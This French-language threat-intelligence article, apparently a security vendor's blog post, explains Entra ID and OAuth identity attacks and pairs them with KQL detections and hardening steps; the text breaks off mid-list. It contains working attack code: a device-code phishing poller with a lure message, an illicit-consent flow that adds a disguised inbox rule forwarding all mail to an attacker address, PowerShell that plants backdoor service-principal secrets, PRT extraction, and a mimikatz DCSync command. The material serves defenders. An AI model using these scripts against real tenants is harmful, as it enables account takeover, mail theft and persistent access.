Skip to main content

Comment les Attaquants Abusent d'Entra ID & OAuth Sans Malware

· 24 min read
Inference Defense
Renseignement sur les Menaces & Ingénierie de Détection

Pour qui : Les analystes sécurité qui veulent comprendre les mécaniques d'attaque précises, et les RSSI qui ont besoin de savoir pourquoi leur EDR leur donne une fausse confiance face à cette classe de menaces. Chaque technique présentée ici a été observée dans des intrusions réelles pas de théorie creuse.

La Vérité Inconfortable sur les Attaques d'Identité Modernes

Votre EDR est aveugle à la plupart de ces attaques.

Quand un acteur malveillant vole un token OAuth valide et se déplace latéralement dans votre tenant Microsoft 365, aucun malware n'est déposé, aucun exploit ne se déclenche, aucun processus suspect ne s'exécute. L'attaquant ressemble exactement à un utilisateur légitime parce que pour chaque contrôle de sécurité surveillant les comportements, il en est un. Il s'est authentifié avec succès. Il dispose d'une session valide. Il est à l'intérieur.

C'est la caractéristique fondamentale de la surface d'attaque identitaire moderne : l'arme, c'est l'authentification elle-même.

Au cours des trois dernières années, les attaques sur Entra ID (anciennement Azure Active Directory) et la couche OAuth 2.0 qui le recouvre sont devenues le vecteur d'accès initial dominant dans les intrusions en entreprise. La violation de Microsoft en 2024 par Midnight Blizzard, l'intrusion chez Cloudflare, des dizaines de campagnes de ransomware elles ont toutes commencé non pas par un zero-day ou une pièce jointe malveillante, mais par une compromission de la couche identité que les contrôles existants n'étaient tout simplement pas conçus pour détecter.

Cet article décrit exactement comment ces attaques fonctionnent, ce que voit l'attaquant, quelle télémétrie existe pour les détecter, et quels contrôles actionnables réduisent votre exposition. Nous allons en profondeur.


Section 1 : Vol de Token et Détournement de Session L'Attaque que Votre EDR Ne Peut Pas Voir

Ce qu'est Réellement un Token

Avant de comprendre comment les tokens sont volés, vous devez comprendre ce qui les rend précieux.

Quand un utilisateur s'authentifie sur Microsoft 365, Entra ID émet plusieurs tokens :

  • Access Token un JWT de courte durée (typiquement 60–75 minutes) qui accorde l'accès à une ressource spécifique. Il contient les revendications d'identité de l'utilisateur, ses appartenances aux groupes, et l'application pour laquelle il a été émis.
  • Refresh Token un identifiant de plus longue durée (jusqu'à 90 jours pour les sessions de navigateur persistantes) qui permet d'obtenir de nouveaux access tokens sans ré-authentification.
  • Primary Refresh Token (PRT) un token lié à l'appareil, hautement privilégié, émis pour les machines jointes à Entra ID. Il peut générer des tokens pour n'importe quelle application à laquelle l'utilisateur a accès.

Si un attaquant obtient un refresh token ou un PRT, il dispose d'un accès persistant à votre environnement qui survit aux réinitialisations de mot de passe.

Comment les Access Tokens Sont Volés

Vol via Extensions Malveillantes ou XSS

Le chemin le plus courant. Quand un utilisateur s'authentifie sur Microsoft 365 via un navigateur, les tokens sont stockés dans l'IndexedDB ou le stockage de session du navigateur. Une extension Chrome malveillante disposant des permissions de stockage peut les énumérer et les exfiltrer silencieusement.

L'attaquant n'a rien à déchiffrer. Le token est valide, signé par Microsoft, et totalement légitime.

Phishing Adversary-in-the-Middle (AiTM)

Des outils comme Evilginx2 et Muraena agissent comme des proxies inverses entre la victime et la véritable page de connexion Microsoft. La victime voit la vraie interface de connexion Microsoft, complète le MFA, et le proxy capture le cookie de session post-authentification.

# Phishlet Evilginx2 ciblant Microsoft 365 (flux simplifié)
# L'attaquant héberge un proxy inverse sur un domaine contrôlé

# La victime visite : login.domaine-attaquant.com
# Le proxy transfère vers : login.microsoftonline.com
# La victime s'authentifie, complète le MFA
# Evilginx capture le cookie de session (estsauth, estsauthpersistent)

# L'attaquant importe le cookie :
# 1. Ouvre Chrome DevTools
# 2. Importe le cookie capturé dans le stockage du navigateur
# 3. Visite portal.office.com authentifié en tant que victime, sans MFA demandé

C'est pourquoi le MFA seul n'est pas une protection suffisante. L'attaquant ne contourne pas le MFA il vole le résultat d'un flux MFA complété.

Vol de PRT depuis les Appareils Joints à Entra ID

Le Primary Refresh Token réside dans le processus Windows LSASS sur les machines jointes au domaine. Un attaquant disposant des droits d'administrateur local peut utiliser des outils comme ROADtoken ou AADInternals pour l'extraire et l'utiliser.

# Utilisation d'AADInternals pour extraire le PRT d'un appareil joint (nécessite admin local)
Import-Module AADInternals

# Extraire le PRT et la clé de session depuis LSASS
$prt = Get-AADIntUserPRTToken

# Utiliser le PRT pour générer un nouveau access token pour n'importe quelle ressource
$token = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prt

# À partir d'ici, l'attaquant peut accéder à n'importe quelle ressource Microsoft
# pour laquelle l'utilisateur est autorisé SharePoint, Exchange, Teams, Azure

Ce qu'il Faut Rechercher dans les Journaux

Quand un vol de token est en cours, les journaux de connexion de l'utilisateur légitime montreront une authentification réussie depuis son emplacement habituel, tandis que l'utilisation par l'attaquant apparaîtra comme des appels API ou des sessions de navigateur depuis des IPs inhabituelles mais de manière cruciale, elles seront marquées comme réussies sans aucune authentification échouée.

Signaux clés dans les journaux de connexion Entra ID (AADNonInteractiveUserSignInLogs) :

// KQL : Détecter la réutilisation de token depuis une IP anormale
AADNonInteractiveUserSignInLogs
| where ResultType == 0 // réussi
| summarize
IPs = make_set(IPAddress),
Locations = make_set(Location),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by UserPrincipalName, CorrelationId
| where array_length(IPs) > 2
| where array_length(Locations) > 1
| project UserPrincipalName, IPs, Locations, FirstSeen, LastSeen
// KQL : Détection de voyage impossible (token utilisé depuis deux zones géographiques en moins d'1 heure)
AADNonInteractiveUserSignInLogs
| where ResultType == 0
| project TimeGenerated, UserPrincipalName, IPAddress, Location
| sort by UserPrincipalName, TimeGenerated asc
| extend PrevTime = prev(TimeGenerated), PrevLocation = prev(Location), PrevUser = prev(UserPrincipalName)
| where UserPrincipalName == PrevUser
| extend MinutesDelta = datetime_diff('minute', TimeGenerated, PrevTime)
| where MinutesDelta < 60 and Location != PrevLocation

Section 2 : Phishing Device Code L'Attaque qui Contourne Tous les Contrôles MFA

Pourquoi Cette Attaque Est Dévastatrice

Le phishing device code est sans doute la technique la plus dangereuse de cette catégorie parce qu'il :

  • Ne nécessite aucun malware sur la machine de la victime
  • Contourne complètement le MFA (c'est l'utilisateur lui-même qui le complète)
  • Produit un refresh token totalement légitime, impossible à distinguer d'une connexion normale
  • Peut être exécuté entièrement par email ou messages Teams
  • Fonctionne même contre le MFA par token matériel (les clés FIDO2 ne protègent PAS contre ceci)

Comprendre pourquoi nécessite de comprendre le flux OAuth 2.0 Device Authorization Grant conçu pour les appareils sans navigateur (TV connectées, appareils IoT) et qui a été utilisé comme arme contre les utilisateurs en entreprise.

Le Flux Légitime (Pour Comprendre ce qui est Détourné)

Le Device Authorization Grant (urn:ietf:params:oauth:grant-type:device_code) fonctionne ainsi :

  1. Un appareil qui ne peut pas afficher de navigateur appelle le point de terminaison d'autorisation et reçoit un device_code et un user_code
  2. L'appareil affiche : "Allez sur microsoft.com/devicelogin et entrez le code : ABCD-EFGH"
  3. L'utilisateur ouvre un navigateur, navigue vers cette URL, entre le code, et complète l'authentification y compris le MFA
  4. L'appareil interroge le point de terminaison de token jusqu'à recevoir l'access token et le refresh token

L'intention de conception est que l'appareil initie la requête, et l'utilisateur l'approuve ailleurs. L'attaque inverse ce mécanisme : l'attaquant initie la requête et trompe l'utilisateur pour qu'il l'approuve.

Le Flux d'Attaque, Étape par Étape

# Étape 1 : L'attaquant initie une requête de device code
# (c'est une requête OAuth standard aucun exploit requis)

import requests

tenant_id = "common" # ou l'ID du tenant cible
client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # ID client Microsoft Office (légitime)

# Demander un device code
response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode",
data={
"client_id": client_id,
"scope": "openid profile email offline_access https://graph.microsoft.com/.default"
}
)

device_code_data = response.json()
user_code = device_code_data["user_code"] # ex. "ABCD-EFGH"
device_code = device_code_data["device_code"] # longue chaîne opaque
verification_uri = device_code_data["verification_uri"] # microsoft.com/devicelogin

print(f"Envoyer la victime vers : {verification_uri}")
print(f"Lui dire d'entrer le code : {user_code}")
# Étape 2 : L'attaquant envoie un message de phishing à la victime
# Exemple de message Teams (observé dans de vraies campagnes Midnight Blizzard) :
#
# "Bonjour, ici la Sécurité Informatique. Nous déployons un nouveau contrôle
# de conformité MFA. Veuillez aller sur microsoft.com/devicelogin et entrer
# ce code pour vérifier votre appareil : ABCD-EFGH
# Cela prend 2 minutes et doit être fait avant la fin de journée."
#
# La victime fait confiance car :
# - L'URL est une vraie URL Microsoft
# - Le flux ressemble exactement à une inscription d'appareil légitime
# - Elle l'a probablement déjà fait pour de vraies demandes IT
# Étape 3 : L'attaquant interroge le token pendant que la victime s'authentifie
import time

while True:
poll_response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code
}
)

result = poll_response.json()

if "access_token" in result:
access_token = result["access_token"]
refresh_token = result["refresh_token"] # Valide pendant 90 jours
print("SUCCÈS accès persistant obtenu")
print(f"Refresh token : {refresh_token[:50]}...")
break
elif result.get("error") == "authorization_pending":
time.sleep(5) # Continuer à interroger
else:
break
# Étape 4 : L'attaquant utilise le refresh token pour énumérer et accéder aux ressources
headers = {"Authorization": f"Bearer {access_token}"}

# Qui suis-je ?
me = requests.get("https://graph.microsoft.com/v1.0/me", headers=headers).json()

# Quels emails puis-je lire ?
emails = requests.get(
"https://graph.microsoft.com/v1.0/me/messages?$top=10&$select=subject,from,receivedDateTime",
headers=headers
).json()

# Quels sites SharePoint existent ?
sites = requests.get(
"https://graph.microsoft.com/v1.0/sites?search=*",
headers=headers
).json()

# Qui sont les Administrateurs Globaux ?
admins = requests.get(
"https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'",
headers=headers
).json()

L'attaquant dispose maintenant d'un refresh token valide 90 jours. Il peut lire tous les emails, énumérer l'intégralité du répertoire, accéder à SharePoint, et selon le rôle de la victime potentiellement escalader davantage.

Détection

Le phishing device code est détectable, mais seulement si vous savez quoi chercher. Le signal clé est dans AADSignInLogsAuthenticationProtocol = deviceCode pour des utilisateurs qui ne devraient jamais utiliser ce protocole.

// KQL : Détecter les authentifications suspectes par device code
AADSignInLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName !in ( // exclure les applications légitimes connues utilisant device code
"Microsoft Azure PowerShell",
"Microsoft Azure CLI",
"Visual Studio Code"
)
| project
TimeGenerated,
UserPrincipalName,
IPAddress,
Location,
DeviceDetail,
AppDisplayName,
Status
| where Status.errorCode == 0
| sort by TimeGenerated desc
// KQL : Alerter sur une authentification device code depuis un emplacement inconnu
let known_locations =
AADSignInLogs
| where TimeGenerated > ago(30d)
| where AuthenticationProtocol != "deviceCode"
| summarize KnownLocations = make_set(Location) by UserPrincipalName;
AADSignInLogs
| where AuthenticationProtocol == "deviceCode"
| where TimeGenerated > ago(1d)
| join kind=leftouter known_locations on UserPrincipalName
| where not(Location in (KnownLocations))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName

Section 3 : Abus de Consentement OAuth Accès Persistant via de Fausses Applications

L'Attaque qui Survit aux Réinitialisations de Mot de Passe et aux Changements MFA

L'abus de consentement OAuth est l'un des mécanismes de persistance les plus sous-estimés dans les environnements d'entreprise. Un attaquant qui trompe un utilisateur pour qu'il consente à une application malveillante reçoit un token OAuth qui persiste à travers les réinitialisations de mot de passe, les changements MFA et la récupération de compte car il est lié à l'enregistrement de l'application, pas à l'identifiant.

Comment Fonctionne le Consentement OAuth (et Où Cela Échoue)

Quand un utilisateur se connecte à une application tierce avec "Se connecter avec Microsoft", il voit une invite de consentement listant les permissions demandées. S'il consent, Entra ID crée un principal de service dans le tenant représentant cette application, et les permissions déléguées sont stockées définitivement.

Le problème : la plupart des utilisateurs cliquent sur les invites de consentement sans les lire. Et la configuration par défaut de Microsoft permet aux utilisateurs de consentir à des applications demandant des permissions de faible privilège sans approbation administrateur.

Permissions qui semblent peu risquées mais permettent un accès significatif :

PermissionApparenceCe qu'elle permet
Mail.Read"Lire votre courrier"Accès complet à la boîte de réception, continu via refresh token
Files.Read.All"Lire tous les fichiers"Chaque fichier SharePoint et document OneDrive
User.ReadBasic.All"Lire les profils utilisateurs de base"Énumération complète du répertoire
offline_access(souvent non affiché)Accès persistant via refresh token
MailboxSettings.Read"Lire vos paramètres de boîte aux lettres"Règles de transfert d'email, règles de boîte de réception

L'Attaque : Consentement Illicite

# L'attaquant enregistre une application dans n'importe quel tenant Azure (y compris le sien)
# Définit l'URI de redirection vers son serveur contrôlé
# Fabrique une URL de consentement ciblant l'organisation victime

attacker_app_client_id = "attacker-app-client-id-here"
redirect_uri = "https://attacker-server.com/callback"
tenant_id = "target-company.onmicrosoft.com" # ou le GUID du tenant

# Portées demandant un accès persistant et large
scopes = " ".join([
"openid",
"profile",
"email",
"offline_access",
"https://graph.microsoft.com/Mail.Read",
"https://graph.microsoft.com/Files.Read.All",
"https://graph.microsoft.com/User.ReadBasic.All",
"https://graph.microsoft.com/MailboxSettings.ReadWrite" # active les règles de transfert
])

# URL de consentement envoyée à la victime par email de phishing
consent_url = (
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize"
f"?client_id={attacker_app_client_id}"
f"&response_type=code"
f"&redirect_uri={redirect_uri}"
f"&scope={scopes}"
f"&response_mode=query"
f"&state=random-state-value"
)

# Quand la victime clique et consent, l'attaquant reçoit un code d'autorisation
# Il l'échange contre des access + refresh tokens
# La subvention d'application persiste indéfiniment dans le tenant
# Après consentement, l'attaquant configure le transfert d'email via Graph API
# C'est le mécanisme de persistance même si l'utilisateur change son mot de passe,
# tous les emails continuent à être transférés vers la boîte de l'attaquant

access_token = "token-obtained-via-consent"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}

# Créer une règle de boîte de réception pour transférer tout le courrier à une adresse externe
forward_rule = {
"displayName": "Security Compliance Rule", # nom déguisé
"isEnabled": True,
"conditions": {
"bodyOrSubjectContains": [] # vide = correspond à tous les emails
},
"actions": {
"forwardTo": [
{
"emailAddress": {
"name": "Compliance Archive",
"address": "attacker@external-domain.com"
}
}
],
"stopProcessingRules": False
}
}

response = requests.post(
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules",
headers=headers,
json=forward_rule
)

La règle de boîte de réception est invisible pour l'utilisateur final à moins qu'il ne vérifie spécifiquement les règles Outlook. De nombreuses victimes sont compromises pendant des mois avant la découverte.

Détection : Chasse aux Subventions de Consentement Malveillantes

// KQL : Trouver les applications tierces récemment consenties
AuditLogs
| where OperationName == "Consent to application"
| extend
AppName = tostring(TargetResources[0].displayName),
ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),
AppId = tostring(AdditionalDetails[0].value)
| where TimeGenerated > ago(30d)
| project TimeGenerated, ConsentedBy, AppName, AppId, Result
| sort by TimeGenerated desc
// KQL : Trouver les applications avec des permissions déléguées à haut risque
AuditLogs
| where OperationName == "Add delegated permission grant"
| extend
Permission = tostring(TargetResources[0].modifiedProperties[0].newValue),
Principal = tostring(InitiatedBy.user.userPrincipalName)
| where Permission has_any ("Mail.Read", "Files.Read.All", "MailboxSettings", "offline_access")
| project TimeGenerated, Principal, Permission
# PowerShell : Énumérer toutes les subventions OAuth dans le tenant (en tant qu'Administrateur Global)
Connect-MgGraph -Scopes "Directory.Read.All"

# Obtenir tous les principaux de service avec des subventions de permissions déléguées
$grants = Get-MgOauth2PermissionGrant -All

foreach ($grant in $grants) {
$sp = Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId

[PSCustomObject]@{
AppName = $sp.DisplayName
AppId = $sp.AppId
Publisher = $sp.PublisherName
Permissions = $grant.Scope
ConsentType = $grant.ConsentType # AllPrincipals = consentement admin, Principal = utilisateur
UserId = $grant.PrincipalId
}
} | Where-Object {
$_.Permissions -match "Mail|Files|offline_access|MailboxSettings"
} | Export-Csv "oauth_grants_audit.csv" -NoTypeInformation

Section 4 : Abus des Identifiants de Principal de Service L'Angle Mort de l'Administrateur

Pourquoi les Principaux de Service Sont Plus Dangereux que les Comptes Utilisateurs

Un compte utilisateur compromis, c'est grave. Un principal de service compromis avec des permissions applicatives, c'est une catastrophe.

Les principaux de service représentent des applications dans Entra ID. Quand une application dispose de permissions applicatives (par opposition aux permissions déléguées), elle agit en son propre nom pas au nom d'un utilisateur. Cela signifie :

  • Aucun MFA. Jamais.
  • Aucune politique d'Accès Conditionnel (la plupart sont limitées aux utilisateurs)
  • Access tokens valides pendant 24 heures par défaut
  • Les actions peuvent ne pas apparaître dans les journaux d'audit visibles par les utilisateurs
  • Souvent des rôles privilégiés assignés par des développeurs qui "avaient juste besoin que ça fonctionne"

Comment les Attaquants Obtiennent les Identifiants des Principaux de Service

Chemin 1 : Fuite d'Identifiants dans les Dépôts de Code

Le vecteur d'accès initial le plus courant pour ce type d'attaque. Des développeurs commitent des secrets d'application, des empreintes de certificat ou des identifiants client dans des dépôts GitHub, GitLab ou Azure DevOps accidentellement ou en configuration codée en dur.

# Outils utilisés par les attaquants pour traquer les identifiants fuités

# truffleHog recherche dans l'historique git les chaînes à haute entropie et les motifs connus
trufflehog git https://github.com/target-company/repo --only-verified

# gitleaks scanner rapide de secrets dans les dépôts git
gitleaks detect --source /path/to/cloned/repo --report-format json

# Ce que cherchent les attaquants dans les fichiers de config fuités :
# AZURE_CLIENT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# AZURE_CLIENT_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# AZURE_TENANT_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Chemin 2 : Ajout d'Identifiants à un Principal de Service Existant

Si un attaquant compromet un compte Administrateur Global (via l'une des méthodes ci-dessus), il peut ajouter de nouveaux identifiants à des principaux de service hautement privilégiés existants créant une porte dérobée persistante qui survit à la remédiation du compte compromis initial.

# L'attaquant ajoute un nouveau secret à un principal de service privilégié existant
# Nécessite Application.ReadWrite.All ou un rôle admin privilégié

Connect-MgGraph -AccessToken $stolen_admin_token

# Trouver les principaux de service à haute valeur (ceux avec des permissions Directory ou Exchange)
$targets = Get-MgServicePrincipal -All | Where-Object {
$_.AppRoles.Value -match "Directory|Exchange|Mail|Sites" -or
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id).ResourceDisplayName -eq "Microsoft Graph"
}

# Ajouter un identifiant de porte dérobée au principal de service cible
$targetSP = $targets[0]
$credential = Add-MgServicePrincipalPassword -ServicePrincipalId $targetSP.Id -PasswordCredential @{
DisplayName = "sync-service-key" # nom anodin
EndDateTime = (Get-Date).AddYears(2) # validité de 2 ans
}

Write-Output "Nouveau secret : $($credential.SecretText)"
# L'attaquant dispose maintenant d'un accès de 2 ans même après la remédiation de l'incident
# Utilisation des identifiants de porte dérobée pour s'authentifier et accéder aux données
import requests

tenant_id = "target-tenant-id"
client_id = "service-principal-client-id"
client_secret = "backdoor-secret-obtained-above"

# Obtenir un access token SANS MFA, SANS interaction utilisateur, SANS Accès Conditionnel
token_response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"client_secret": client_secret,
"grant_type": "client_credentials",
"scope": "https://graph.microsoft.com/.default"
}
)

access_token = token_response.json()["access_token"]

# Avec les permissions applicatives, accéder aux emails de TOUS les utilisateurs (pas seulement un compte)
headers = {"Authorization": f"Bearer {access_token}"}

# Lister tous les utilisateurs du tenant
all_users = requests.get(
"https://graph.microsoft.com/v1.0/users?$select=id,mail,displayName,jobTitle",
headers=headers
).json()

# Lire les emails d'un cadre spécifique
ceo_id = "ceo-user-object-id"
ceo_mail = requests.get(
f"https://graph.microsoft.com/v1.0/users/{ceo_id}/messages?$top=50",
headers=headers
).json()

Chemin 3 : Abus de la Fédération d'Identité de Charge de Travail

Les environnements récents utilisent la Fédération d'Identité de Charge de Travail pour permettre aux applications dans des systèmes externes (GitHub Actions, AWS, GCP) de s'authentifier auprès d'Entra ID sans secrets. Si un attaquant compromet le système externe (ex. un dépôt GitHub), il hérite des permissions Entra ID.

# Workflow GitHub Actions  cas d'usage légitime
# Si le dépôt est compromis, l'attaquant obtient l'accès Entra ID

- name: Login to Azure
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

# Si l'attaquant peut déclencher ce workflow (via une PR sur un dépôt public,
# ou la compromission du compte d'un mainteneur), il obtient le token

Détection des Abus de Principal de Service

// KQL : Détecter les nouveaux identifiants ajoutés aux principaux de service
AuditLogs
| where OperationName in (
"Add service principal credentials",
"Update application – Certificates and secrets management"
)
| extend
ModifiedApp = tostring(TargetResources[0].displayName),
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
ModifiedByApp = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, ModifiedApp, ModifiedBy, ModifiedByApp, Result
| where Result == "success"
// KQL : Chasser les connexions de principal de service depuis des IPs inattendues
AADServicePrincipalSignInLogs
| where ResultType == 0
| summarize
IPList = make_set(IPAddress),
Countries = make_set(LocationDetails.countryOrRegion),
SignInCount = count()
by ServicePrincipalName, bin(TimeGenerated, 1d)
| where array_length(IPList) > 3 or array_length(Countries) > 1
| sort by TimeGenerated desc

Section 5 : Mouvement Latéral via Entra ID D'un Compte à Tout le Tenant

Comment les Attaquants Passent d'un Utilisateur Compromis au Contrôle Total du Tenant

Obtenir les tokens d'un seul utilisateur n'est généralement pas l'objectif final. L'objectif est typiquement :

  • Escalader vers un Administrateur Global
  • Accéder aux données de haute valeur de plusieurs utilisateurs
  • Établir un accès persistant qui survit à la réponse sur incident
  • Pivoter vers les ressources Azure ou l'AD sur site via la jonction hybride

Voici la chaîne d'attaque qu'un acteur de menace avancé exécute après le compromis initial.

Étape 1 : Énumérer le Tenant (Rester Discret)

# Énumération via l'API Graph  tous des appels API légitimes, aucun outil de scan
headers = {"Authorization": f"Bearer {access_token}"}

# 1. Obtenir l'annuaire complet des utilisateurs qui est précieux ?
users = requests.get(
"https://graph.microsoft.com/v1.0/users"
"?$select=id,displayName,mail,jobTitle,department,officeLocation"
"&$top=999",
headers=headers
).json()

# 2. Trouver toutes les attributions de rôles qui est admin ?
roles = requests.get(
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
"?$expand=principal",
headers=headers
).json()

# Filtrer pour les Admins Globaux, rôles privilégiés
privileged_roles = [
"Global Administrator",
"Privileged Role Administrator",
"Application Administrator",
"Exchange Administrator",
"Security Administrator"
]

# 3. Trouver les principaux de service avec des privilèges élevés
high_value_sps = requests.get(
"https://graph.microsoft.com/v1.0/servicePrincipals"
"?$select=id,displayName,appId,appRoles"
"&$top=999",
headers=headers
).json()

# 4. Vérifier si l'utilisateur actuel a des rôles admin
my_roles = requests.get(
"https://graph.microsoft.com/v1.0/me/transitiveMemberOf/microsoft.graph.directoryRole",
headers=headers
).json()

Étape 2 : Chemins d'Escalade de Privilèges

Chemin A : Administrateur d'Application → Administrateur Global

Un compte avec le rôle Administrateur d'Application peut ajouter des identifiants à n'importe quel principal de service d'application. Si une application dispose de permissions équivalentes à Admin Global, c'est une escalade en une étape.

# L'attaquant dispose du rôle Administrateur d'Application
# Trouver les apps avec Directory.ReadWrite.All ou RoleManagement.ReadWrite.Directory
$apps = Get-MgServicePrincipal -All
$highPrivApps = foreach ($app in $apps) {
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $app.Id
$highPriv = $assignments | Where-Object {
$_.ResourceDisplayName -eq "Microsoft Graph" -and
# Ces permissions sont équivalentes à Admin Global
$app.AppRoles.Value -match "RoleManagement.ReadWrite|Directory.ReadWrite"
}
if ($highPriv) { $app }
}

# Ajouter un identifiant à l'app hautement privilégiée, l'utiliser pour assigner Admin Global au compte attaquant
$cred = Add-MgServicePrincipalPassword -ServicePrincipalId $highPrivApps[0].Id -PasswordCredential @{
DisplayName = "backup-credential"
EndDateTime = (Get-Date).AddYears(1)
}

Chemin B : Abus d'Identité Hybride (Cloud → Sur Site)

Si le tenant utilise Entra Connect (anciennement Azure AD Connect) pour la synchronisation d'identité hybride, le compte de synchronisation dispose de privilèges étendus sur l'Active Directory sur site. Le compromettre ouvre un chemin vers l'admin de domaine sur site.

# Identifier le compte de synchronisation Entra Connect (généralement préfixe MSOL_ ou AAD_)
Get-ADUser -Filter {SamAccountName -like "MSOL_*" -or SamAccountName -like "AAD_*"} -Properties *

# Le compte de synchronisation dispose des droits DCSync sur le domaine par défaut
# Un attaquant avec ses identifiants peut extraire tous les hachages AD
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

Chemin C : Lacunes dans les Politiques d'Accès Conditionnel

La plupart des organisations ont des politiques d'Accès Conditionnel protégeant les connexions interactives mais oublient que :

  • Les protocoles d'authentification héritée (SMTP AUTH, IMAP, Exchange ActiveSync) contournent les CA
  • L'authentification des principaux de service contourne presque toutes les politiques CA
  • Certaines identités de charge de travail sont exclues des politiques pour des "raisons opérationnelles"
# Énumérer les politiques d'Accès Conditionnel pour trouver les lacunes
Connect-MgGraph -Scopes "Policy.Read.All"

$policies = Get-MgIdentityConditionalAccessPolicy -All

foreach ($policy in $policies) {
Write-Output "Politique : $($policy.DisplayName)"
Write-Output " État : $($policy.State)"
Write-Output " Utilisateurs exclus : $($policy.Conditions.Users.ExcludeUsers -join ', ')"
Write-Output " Groupes exclus : $($policy.Conditions.Users.ExcludeGroups -join ', ')"
Write-Output " Apps exclues : $($policy.Conditions.Applications.ExcludeApplications -join ', ')"
Write-Output " Types d'app client : $($policy.Conditions.ClientAppTypes -join ', ')"

# Signal d'alerte : "all" n'est PAS dans ClientAppTypes auth héritée non bloquée
if ($policy.Conditions.ClientAppTypes -notcontains "exchangeActiveSync" -and
$policy.Conditions.ClientAppTypes -notcontains "other") {
Write-Output " *** AUTH HÉRITÉE NON COUVERTE ***"
}
}

La Chaîne de Détection Complète

Pour qu'un SOC puisse détecter cette attaque de bout en bout, vous avez besoin d'une couverture sur plusieurs sources de journaux :

// KQL : Requête de chasse principale  chaîne d'activité identitaire suspecte
let suspicious_users =
AADSignInLogs
| where AuthenticationProtocol == "deviceCode" or
(NetworkLocationDetails == "[]" and RiskLevelDuringSignIn in ("high", "medium"))
| distinct UserPrincipalName;
AuditLogs
| where TimeGenerated > ago(7d)
| where InitiatedBy.user.userPrincipalName in (suspicious_users)
| where OperationName in (
"Consent to application",
"Add service principal credentials",
"Add member to role",
"Add app role assignment to service principal",
"Update application",
"Set-InboxRule",
"New-InboxRule"
)
| project TimeGenerated,
User = InitiatedBy.user.userPrincipalName,
Operation = OperationName,
Target = TargetResources[0].displayName,
Result
| sort by TimeGenerated asc

Ce que les RSSI Devraient Faire ce Trimestre

Les requêtes de détection et les chaînes d'attaque ci-dessus sont intéressantes, mais ce qui compte c'est ce que vous changez. Voici les contrôles à plus fort ROI classés par impact vs. effort :

Priorité 1 : Bloquer le Flux Device Code (Impact Maximal, Effort Faible)

Créez une politique d'Accès Conditionnel qui bloque le flux d'authentification device code pour tous les utilisateurs qui n'en ont pas légitimement besoin (presque tout le monde dans une entreprise standard).

Entra ID → Protection → Accès Conditionnel → Nouvelle Politique

  • Utilisateurs : Tous les utilisateurs (exclure les comptes d'urgence break-glass)
  • Applications cloud : Toutes les applications cloud
  • Conditions → Flux d'authentification → Flux device code : Oui
  • Contrôle d'accès : Bloquer

Cette seule politique élimine l'un des vecteurs d'attaque nation-état les plus répandus.

Priorité 2 : Restreindre le Consentement Utilisateur (Impact Élevé, Effort Faible)

Entra ID → Applications d'entreprise → Consentement et permissions → Paramètres de consentement utilisateur

Définir sur : "Ne pas autoriser le consentement utilisateur" ou au minimum "Autoriser le consentement utilisateur pour les applications d'éditeurs vérifiés pour les permissions sélectionnées uniquement"

Tout consentement d'application tierce devrait nécessiter l'approbation d'un administrateur. Oui, cela crée des tickets IT. Ces tickets sont préférables à une règle de transfert d'email de 90 jours que l'attaquant exécute silencieusement.

Priorité 3 : Auditer les Identifiants des Principaux de Service (Impact Élevé, Effort Moyen)

Exécutez l'énumération PowerShell de la Section 4 contre votre tenant. Vous trouverez :

  • Des applications avec des identifiants non renouvelés depuis plus de 2 ans
  • Des identifiants appartenant à des employés qui ont quitté l'entreprise
  • Des applications avec des permissions applicatives dont elles n'ont pas besoin
  • Des applications avec des permissions équivalentes à Admin Global détenues par des fournisseurs
# Audit rapide : principaux de service avec des identifiants expirant loin dans le futur
Connect-MgGraph -Scopes "Application.Read.All"

Get-MgApplication -All | ForEach-Object {
$app = $_
$app.PasswordCredentials | Where-Object {
$_.EndDateTime -gt (Get-Date).AddYears(1)
} | ForEach-Object {
[PSCustomObject]@{
App = $app.DisplayName
AppId = $app.AppId
KeyName = $_.DisplayName
Expires = $_.EndDateTime
CreatedBy = $_.CustomKeyIdentifier # souvent null pour les anciens identifiants
}
}
} | Sort-Object Expires -Descending | Export-Csv "long-lived-credentials.csv"

Priorité 4 : Activer la Protection des Tokens (Accès Conditionnel)

La fonctionnalité de Protection des Tokens d'Entra ID (actuellement en GA pour les tokens de service, en préversion pour les tokens de connexion) lie les tokens à l'appareil spécifique pour lequel ils ont été émis. La réutilisation du token depuis un appareil différent échoue, même avec un refresh token valide.

Accès Conditionnel → Nouvelle Politique → Contrôle d'accès → Exiger la protection des tokens

Cela contrecarre directement les attaques de phishing AiTM et de vol de token.

Priorité 5 : Implémenter la Gestion des Identités Privilégiées (PIM)

Les attributions permanentes d'Administrateur Global sont le rêve de l'attaquant. Chaque rôle privilégié devrait être :

  • Limité dans le temps : Activé pour 1 à 8 heures maximum
